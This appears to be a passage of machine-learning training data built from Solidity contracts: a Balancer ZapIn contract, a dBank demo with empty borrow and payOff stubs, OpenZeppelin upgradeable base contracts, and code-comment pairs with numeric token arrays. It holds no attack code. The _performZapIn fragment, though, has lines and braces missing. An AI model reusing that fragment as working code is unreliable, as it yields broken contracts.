ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ReentrancyGuard { bool private _notEntered; constructor() internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } interface IBFactory { function isBPool(address b) external view returns (bool); } interface IBPool { function joinswapExternAmountIn( address tokenIn, uint256 tokenAmountIn, uint256 minPoolAmountOut ) external payable returns (uint256 poolAmountOut); function isBound(address t) external view returns (bool); function getFinalTokens() external view returns (address[] memory tokens); function totalSupply() external view returns (uint256); function getDenormalizedWeight(address token) external view returns (uint256); function getTotalDenormalizedWeight() external view returns (uint256); function getSwapFee() external view returns (uint256); function calcPoolOutGivenSingleIn( uint256 tokenBalanceIn, uint256 tokenWeightIn, uint256 poolSupply, uint256 totalWeight, uint256 tokenAmountIn, uint256 swapFee ) external pure returns (uint256 poolAmountOut); function getBalance(address token) external view returns (uint256); } interface IWETH { function deposit() external payable; function transfer(address to, uint256 value) external returns (bool); function withdraw(uint256) external; } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address); } interface IUniswapRouter02 { //get estimated amountOut function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); //token 2 token function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); //eth 2 token function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); //token 2 eth function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); } contract Balancer_ZapIn_General_V2_6 is ReentrancyGuard, Ownable { using SafeMath for uint256; using Address for address; using SafeERC20 for IERC20; bool public stopped = false; uint16 public goodwill; IBFactory BalancerFactory = IBFactory( 0x9424B1412450D0f8Fc2255FAf6046b98213B76Bd ); IUniswapV2Factory private constant UniSwapV2FactoryAddress = IUniswapV2Factory( 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f ); IUniswapRouter02 private constant uniswapRouter = IUniswapRouter02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); address private constant wethTokenAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address payable public zgoodwillAddress = 0xE737b6AfEC2320f616297e59445b60a11e3eF75F; uint256 private constant deadline = 0xf000000000000000000000000000000000000000000000000000000000000000; event zap( address zapContract, address userAddress, address tokenAddress, uint256 volume, uint256 timestamp ); constructor(uint16 _goodwill) public { goodwill = _goodwill; } // circuit breaker modifiers modifier stopInEmergency { if (stopped) { revert("Temporarily Paused"); } else { _; } } /** @notice This function is used to invest in given balancer pool through ETH/ERC20 Tokens @param _FromTokenContractAddress The token used for investment (address(0x00) if ether) @param _ToBalancerPoolAddress The address of balancer pool to zapin @param _amount The amount of ERC to invest @param _minPoolTokens for slippage @return success or failure */ function ZapIn( address _FromTokenContractAddress, address _ToBalancerPoolAddress, uint256 _amount, uint256 _minPoolTokens ) public payable nonReentrant stopInEmergency returns (uint256 tokensBought) { require( BalancerFactory.isBPool(_ToBalancerPoolAddress), "Invalid Balancer Pool" ); emit zap( address(this), msg.sender, _FromTokenContractAddress, _amount, now ); if (_FromTokenContractAddress == address(0)) { require(msg.value > 0, "ERR: No ETH sent"); //transfer eth to goodwill uint256 goodwillPortion = _transferGoodwill(address(0), msg.value); address _IntermediateToken = _getBestDeal( _ToBalancerPoolAddress, msg.value, _FromTokenContractAddress ); tokensBought = _performZapIn( msg.sender, _FromTokenContractAddress, _ToBalancerPoolAddress, msg.value.sub(goodwillPortion), _IntermediateToken, _minPoolTokens ); return tokensBought; } require(_amount > 0, "ERR: No ERC sent"); require(msg.value == 0, "ERR: ETH sent with tokens"); //transfer tokens to contract IERC20(_FromTokenContractAddress).safeTransferFrom( msg.sender, address(this), _amount ); //send tokens to goodwill uint256 goodwillPortion = _transferGoodwill( _FromTokenContractAddress, _amount ); address _IntermediateToken = _getBestDeal( _ToBalancerPoolAddress, _amount, _FromTokenContractAddress ); tokensBought = _performZapIn( msg.sender, _FromTokenContractAddress, _ToBalancerPoolAddress, _amount.sub(goodwillPortion), _IntermediateToken, _minPoolTokens ); } /** @notice This function internally called by ZapIn() and EasyZapIn() @param _toWhomToIssue The user address who want to invest @param _FromTokenContractAddress The token used for investment (address(0x00) if ether) @param _ToBalancerPoolAddress The address of balancer pool to zapin @param _amount The amount of ETH/ERC to invest @param _IntermediateToken The token for intermediate conversion before zapin @param _minPoolTokens for slippage @return The quantity of Balancer Pool tokens returned */ function _performZapIn( address _toWhomToIssue, address _FromTokenContractAddress, address _ToBalancerPoolAddress, uint256 _amount, address _IntermediateToken, uint256 _minPoolTokens ) internal returns (uint256 tokensBought) { // check if isBound() bool isBound = IBPool(_ToBalancerPoolAddress).isBound( _FromTokenContractAddress ); uint256 balancerTokens; if (isBound) { balancerTokens = _enter2Balancer( _ToBalancerPoolAddress, _FromTokenContractAddress, _amount, _minPoolTokens ); } else { // swap tokens or eth uint256 tokenBought; if (_FromTokenContractAddress == address(0)) { tokenBought = _eth2Token(_amount, _IntermediateToken); } else { tokenBought = _token2Token( _FromTokenContractAddress, _IntermediateToken, _amount ); } //get BPT balancerTokens = _enter2Balancer( _ToBalancerPoolAddress, _IntermediateToken, tokenBought, _minPoolTokens ); } //transfer tokens to user IERC20(_ToBalancerPoolAddress).safeTransfer( _toWhomToIssue, balancerTokens ); return balancerTokens; } /** @notice This function is used to zapin to balancer pool @param _ToBalancerPoolAddress The address of balancer pool to zap in @param _FromTokenContractAddress The token used to zap in @param tokens2Trade The amount of tokens to invest @return The quantity of Balancer Pool tokens returned */ function _enter2Balancer( address _ToBalancerPoolAddress, address _FromTokenContractAddress, uint256 tokens2Trade, uint256 _minPoolTokens ) internal returns (uint256 poolTokensOut) { require( IBPool(_ToBalancerPoolAddress).isBound(_FromTokenContractAddress), "Token not bound" ); uint256 allowance = IERC20(_FromTokenContractAddress).allowance( address(this), _ToBalancerPoolAddress ); if (allowance < tokens2Trade) { IERC20(_FromTokenContractAddress).safeApprove( _ToBalancerPoolAddress, uint256(-1) ); } poolTokensOut = IBPool(_ToBalancerPoolAddress).joinswapExternAmountIn( _FromTokenContractAddress, tokens2Trade, _minPoolTokens ); require(poolTokensOut > 0, "Error in entering balancer pool"); } /** @notice This function finds best token from the final tokens of balancer pool @param _ToBalancerPoolAddress The address of balancer pool to zap in @param _amount amount of eth/erc to invest @param _FromTokenContractAddress the token address which is used to invest @return The token address having max liquidity */ function _getBestDeal( address _ToBalancerPoolAddress, uint256 _amount, address _FromTokenContractAddress ) internal view returns (address _token) { // If input is not eth or weth if ( _FromTokenContractAddress != address(0) && _FromTokenContractAddress != wethTokenAddress ) { // check if input token or weth is bound and if so return it as intermediate bool isBound = IBPool(_ToBalancerPoolAddress).isBound( _FromTokenContractAddress ); if (isBound) return _FromTokenContractAddress; } bool wethIsBound = IBPool(_ToBalancerPoolAddress).isBound( wethTokenAddress ); if (wethIsBound) return wethTokenAddress; //get token list address[] memory tokens = IBPool(_ToBalancerPoolAddress) .getFinalTokens(); uint256 amount = _amount; address[] memory path = new address[](2); if ( _FromTokenContractAddress != address(0) && _FromTokenContractAddress != wethTokenAddress ) { path[0] = _FromTokenContractAddress; path[1] = wethTokenAddress; //get eth value for given token amount = uniswapRouter.getAmountsOut(_amount, path)[1]; } uint256 maxBPT; path[0] = wethTokenAddress; for (uint256 index = 0; index < tokens.length; index++) { uint256 expectedBPT; if (tokens[index] != wethTokenAddress) { if ( UniSwapV2FactoryAddress.getPair( tokens[index], wethTokenAddress ) == address(0) ) { continue; } //get qty of tokens path[1] = tokens[index]; uint256 expectedTokens = uniswapRouter.getAmountsOut( amount, path )[1]; //get bpt for given tokens expectedBPT = getToken2BPT( _ToBalancerPoolAddress, expectedTokens, tokens[index] ); //get token giving max BPT if (maxBPT < expectedBPT) { maxBPT = expectedBPT; _token = tokens[index]; } } else { //get bpt for given weth tokens expectedBPT = getToken2BPT( _ToBalancerPoolAddress, amount, tokens[index] ); } //get token giving max BPT if (maxBPT < expectedBPT) { maxBPT = expectedBPT; _token = tokens[index]; } } } /** @notice Function gives the expected amount of pool tokens on investing @param _ToBalancerPoolAddress Address of balancer pool to zapin @param _IncomingERC The amount of ERC to invest @param _FromToken Address of token to zap in with @return Amount of BPT token */ function getToken2BPT( address _ToBalancerPoolAddress, uint256 _IncomingERC, address _FromToken ) internal view returns (uint256 tokensReturned) { uint256 totalSupply = IBPool(_ToBalancerPoolAddress).totalSupply(); uint256 swapFee = IBPool(_ToBalancerPoolAddress).getSwapFee(); uint256 totalWeight = IBPool(_ToBalancerPoolAddress) .getTotalDenormalizedWeight(); uint256 balance = IBPool(_ToBalancerPoolAddress).getBalance(_FromToken); uint256 denorm = IBPool(_ToBalancerPoolAddress).getDenormalizedWeight( _FromToken ); tokensReturned = IBPool(_ToBalancerPoolAddress) .calcPoolOutGivenSingleIn( balance, denorm, totalSupply, totalWeight, _IncomingERC, swapFee ); } /** @notice This function is used to buy tokens from eth @param _tokenContractAddress Token address which we want to buy @return The quantity of token bought */ function _eth2Token(uint256 _ethAmt, address _tokenContractAddress) internal returns (uint256 tokenBought) { if (_tokenContractAddress == wethTokenAddress) { IWETH(wethTokenAddress).deposit.value(_ethAmt)(); return _ethAmt; } address[] memory path = new address[](2); path[0] = wethTokenAddress; path[1] = _tokenContractAddress; tokenBought = uniswapRouter.swapExactETHForTokens.value(_ethAmt)( 1, path, address(this), deadline )[path.length - 1]; } /** @notice This function is used to swap tokens @param _FromTokenContractAddress The token address to swap from @param _ToTokenContractAddress The token address to swap to @param tokens2Trade The amount of tokens to swap @return The quantity of tokens bought */ function _token2Token( address _FromTokenContractAddress, address _ToTokenContractAddress, uint256 tokens2Trade ) internal returns (uint256 tokenBought) { IERC20(_FromTokenContractAddress).safeApprove( address(uniswapRouter), tokens2Trade ); if (_FromTokenContractAddress != wethTokenAddress) { if (_ToTokenContractAddress != wethTokenAddress) { address[] memory path = new address[](3); path[0] = _FromTokenContractAddress; path[1] = wethTokenAddress; path[2] = _ToTokenContractAddress; tokenBought = uniswapRouter.swapExactTokensForTokens( tokens2Trade, 1, path, address(this), deadline )[path.length - 1]; } else { address[] memory path = new address[](2); path[0] = _FromTokenContractAddress; path[1] = wethTokenAddress; tokenBought = uniswapRouter.swapExactTokensForTokens( tokens2Trade, 1, path, address(this), deadline )[path.length - 1]; } } else { address[] memory path = new address[](2); path[0] = wethTokenAddress; path[1] = _ToTokenContractAddress; tokenBought = uniswapRouter.swapExactTokensForTokens( tokens2Trade, 1, path, address(this), deadline )[path.length - 1]; } require(tokenBought > 0, "Error in swapping ERC: 1"); } /** @notice This function is used to calculate and transfer goodwill @param _tokenContractAddress Token in which goodwill is deducted @param tokens2Trade The total amount of tokens to be zapped in @return The quantity of goodwill deducted */ function _transferGoodwill( address _tokenContractAddress, uint256 tokens2Trade ) internal returns (uint256 goodwillPortion) { goodwillPortion = SafeMath.div( SafeMath.mul(tokens2Trade, goodwill), 10000 ); if (goodwillPortion == 0) { return 0; } if (_tokenContractAddress == address(0)) { Address.sendValue(zgoodwillAddress, goodwillPortion); } else { IERC20(_tokenContractAddress).safeTransfer( zgoodwillAddress, goodwillPortion ); } } function set_new_goodwill(uint16 _new_goodwill) public onlyOwner { require( _new_goodwill >= 0 && _new_goodwill < 10000, "GoodWill Value not allowed" ); goodwill = _new_goodwill; } function set_new_zgoodwillAddress(address payable _new_zgoodwillAddress) public onlyOwner { zgoodwillAddress = _new_zgoodwillAddress; } function inCaseTokengetsStuck(IERC20 _TokenAddress) public onlyOwner { uint256 qty = _TokenAddress.balanceOf(address(this)); IERC20(address(_TokenAddress)).safeTransfer(owner(), qty); } // - to Pause the contract function toggleContractActive() public onlyOwner { stopped = !stopped; } // - to withdraw any ETH balance sitting in the contract function withdraw() public onlyOwner { uint256 contractBalance = address(this).balance; address payable _to = owner().toPayable(); _to.transfer(contractBalance); } function() external payable {} }
*/ check if isBound() swap tokens or eth
@notice This function internally called by ZapIn() and EasyZapIn() @param _toWhomToIssue The user address who want to invest @param _FromTokenContractAddress The token used for investment (address(0x00) if ether) @param _ToBalancerPoolAddress The address of balancer pool to zapin @param _amount The amount of ETH/ERC to invest @param _IntermediateToken The token for intermediate conversion before zapin @param _minPoolTokens for slippage @return The quantity of Balancer Pool tokens returned function _performZapIn( address _toWhomToIssue, address _FromTokenContractAddress, address _ToBalancerPoolAddress, uint256 _amount, address _IntermediateToken, uint256 _minPoolTokens ) internal returns (uint256 tokensBought) { bool isBound = IBPool(_ToBalancerPoolAddress).isBound( _FromTokenContractAddress ); uint256 balancerTokens; if (isBound) { balancerTokens = _enter2Balancer( _ToBalancerPoolAddress, _FromTokenContractAddress, _amount, _minPoolTokens ); uint256 tokenBought; if (_FromTokenContractAddress == address(0)) { tokenBought = _eth2Token(_amount, _IntermediateToken); tokenBought = _token2Token( _FromTokenContractAddress, _IntermediateToken, _amount ); } _ToBalancerPoolAddress, _IntermediateToken, tokenBought, _minPoolTokens ); } _toWhomToIssue, balancerTokens ); return balancerTokens; }
12,044,712
[ 1, 19, 866, 309, 353, 3499, 1435, 7720, 2430, 578, 13750, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 632, 20392, 1220, 445, 12963, 2566, 635, 2285, 438, 382, 1435, 471, 29442, 62, 438, 382, 1435, 203, 565, 632, 891, 389, 869, 2888, 362, 774, 12956, 1021, 729, 1758, 10354, 2545, 358, 2198, 395, 203, 565, 632, 891, 389, 1265, 1345, 8924, 1887, 1021, 1147, 1399, 364, 2198, 395, 475, 261, 2867, 12, 20, 92, 713, 13, 309, 225, 2437, 13, 203, 565, 632, 891, 389, 774, 6444, 2864, 1887, 1021, 1758, 434, 14887, 2845, 358, 11419, 267, 203, 565, 632, 891, 389, 8949, 1021, 3844, 434, 512, 2455, 19, 654, 39, 358, 2198, 395, 203, 565, 632, 891, 389, 2465, 6785, 1345, 1021, 1147, 364, 12110, 4105, 1865, 11419, 267, 203, 565, 632, 891, 389, 1154, 2864, 5157, 364, 272, 3169, 2433, 203, 565, 632, 2463, 1021, 10457, 434, 605, 5191, 8828, 2430, 2106, 203, 565, 445, 389, 16092, 62, 438, 382, 12, 203, 3639, 1758, 389, 869, 2888, 362, 774, 12956, 16, 203, 3639, 1758, 389, 1265, 1345, 8924, 1887, 16, 203, 3639, 1758, 389, 774, 6444, 2864, 1887, 16, 203, 3639, 2254, 5034, 389, 8949, 16, 203, 3639, 1758, 389, 2465, 6785, 1345, 16, 203, 3639, 2254, 5034, 389, 1154, 2864, 5157, 203, 565, 262, 2713, 1135, 261, 11890, 5034, 2430, 13809, 9540, 13, 288, 203, 3639, 1426, 353, 3499, 273, 23450, 2864, 24899, 774, 6444, 2864, 1887, 2934, 291, 3499, 12, 203, 5411, 389, 1265, 1345, 8924, 1887, 203, 3639, 11272, 203, 203, 3639, 2254, 5034, 14887, 5157, 31, 203, 203, 3639, 309, 261, 291, 3499, 13, 288, 2 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Token.sol"; contract dBank { Token private token; //add mappings (= python dictionary) mapping(address => uint) public etherBalanceOf; mapping(address => uint) public depositStart; mapping(address => bool) public isDeposited; //add events event Deposit(address indexed user, uint etherAmount, uint timeStart); event Withdraw(address indexed user, uint userBalance, uint depositTime, uint interest); //pass as constructor argument deployed Token contract constructor(Token _token) public { token = _token; } function deposit() payable public { require(isDeposited[msg.sender] == false, 'Error, deposit is already active'); require(msg.value >= 1e16, 'Error, deposit amount should be greater than 0.01 ETH'); etherBalanceOf[msg.sender] = etherBalanceOf[msg.sender] + msg.value; depositStart[msg.sender] = depositStart[msg.sender] + block.timestamp; isDeposited[msg.sender] = true; emit Deposit(msg.sender, msg.value, block.timestamp); } function withdraw() public { require(isDeposited[msg.sender] == true, 'Error, there is no previous deposit'); uint userBalance = etherBalanceOf[msg.sender]; uint depositTime = block.timestamp - depositStart[msg.sender]; //calc accrued interest uint interestPerSecond = 31668017 * (userBalance / 1e16); uint interest = interestPerSecond * depositTime; msg.sender.transfer(userBalance); token.mint(msg.sender, interest); //reset depositer data etherBalanceOf[msg.sender] = 0; depositStart[msg.sender] = 0; isDeposited[msg.sender] = false; //emit event emit Withdraw(msg.sender, userBalance, depositTime, interest); } function borrow() payable public { //check if collateral is >= than 0.01 ETH //check if user doesn't have active loan //add msg.value to ether collateral //calc tokens amount to mint, 50% of msg.value //mint&send tokens to user //activate borrower's loan status //emit event } function payOff() public { //check if loan is active //transfer tokens from user back to the contract //calc fee //send user's collateral minus fee //reset borrower's data //emit event } }
check if loan is activetransfer tokens from user back to the contractcalc feesend user's collateral minus feereset borrower's dataemit event
function payOff() public { }
886,383
[ 1, 1893, 309, 28183, 353, 5981, 16354, 634, 586, 2430, 628, 729, 1473, 358, 326, 6835, 12448, 1656, 281, 409, 729, 1807, 4508, 2045, 287, 12647, 1656, 11737, 278, 29759, 264, 1807, 501, 18356, 871, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 8843, 7210, 1435, 1071, 288, 203, 203, 203, 203, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20Upgradeable.sol"; import "./extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and 